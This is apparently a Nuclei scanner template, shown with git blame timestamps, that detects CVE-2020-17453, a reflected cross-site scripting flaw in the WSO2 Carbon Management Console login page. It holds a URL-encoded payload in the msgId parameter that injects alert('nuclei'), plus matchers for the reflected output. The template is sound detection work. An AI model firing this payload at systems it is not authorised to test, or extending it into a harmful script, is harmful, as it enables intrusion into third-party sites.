2021-03-24 15:35:32 +00:00
id : CVE-2020-17453
info :
name : WSO2 Carbon Management Console - XSS
author : madrobot
severity : medium
description : Reflected XSS vulnerability can be exploited by tampering a request parameter in Management Console. This can be performed in both authenticated and unauthenticated requests.
2022-04-22 10:38:41 +00:00
reference :
- https://docs.wso2.com/display/Security/Security+Advisory+WSO2-2020-1132
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
2022-04-22 10:38:41 +00:00
cvss-score : 6.1
2021-09-10 11:26:40 +00:00
cve-id : CVE-2020-17453
cwe-id : CWE-79
2022-04-22 10:38:41 +00:00
tags : xss,wso2,cve2020,cve
2021-03-24 15:35:32 +00:00
requests :
- method : GET
path :
- '{{BaseURL}}/carbon/admin/login.jsp?msgId=%27%3Balert(%27nuclei%27)%2F%2F'
2021-03-24 17:12:56 +00:00
2021-03-24 15:35:32 +00:00
matchers-condition : and
matchers :
- type : status
status :
- 200
- type : word
words :
- "'';alert('nuclei')//';"
part : body
- type : word
words :
- "text/html"
part : header
